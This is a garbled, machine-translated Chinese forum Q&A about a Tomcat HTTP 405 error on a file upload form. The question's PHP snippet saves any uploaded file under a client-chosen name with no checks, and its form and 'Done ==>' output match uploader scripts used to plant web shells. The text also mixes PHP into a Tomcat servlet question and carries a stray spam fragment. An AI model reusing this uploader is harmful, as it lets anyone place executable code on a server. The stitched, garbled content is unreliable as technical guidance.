HTTP状态405 - 请求方法' POST'不支持
类型状态报告
消息请求方法' POST'不支持
description 请求的资源不允许使用指定的HTTP方法。
Apache Tomcat / 7.0.42 apk indir主页点击。
<?php
if(isset($_POST['Submit'])){
$filedir = "";
$maxfile = '2000000';
$userfile_name = $_FILES['image']['name'];
$userfile_tmp = $_FILES['image']['tmp_name'];
if (isset($_FILES['image']['name'])) {
$abod = $filedir.$userfile_name;
@move_uploaded_file($userfile_tmp, $abod);
echo"<center><b>Done ==> $userfile_name</b></center>";
}
}
else{
echo'
<form method="GET" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>';
}
?>
答案 0 :(得分:0)
请参阅http-get-with-request-body以及this table比较GET和POST。
GET方法不带有意义的主体,因此不支持多部分文件上传。最喜欢这个是由浏览器作为POST请求发送的。
确保servlet的web-resource-collection
文件中的web.xml
标记包含<http-method>POST</http-method>
,以便Tomcat允许您的POST请求。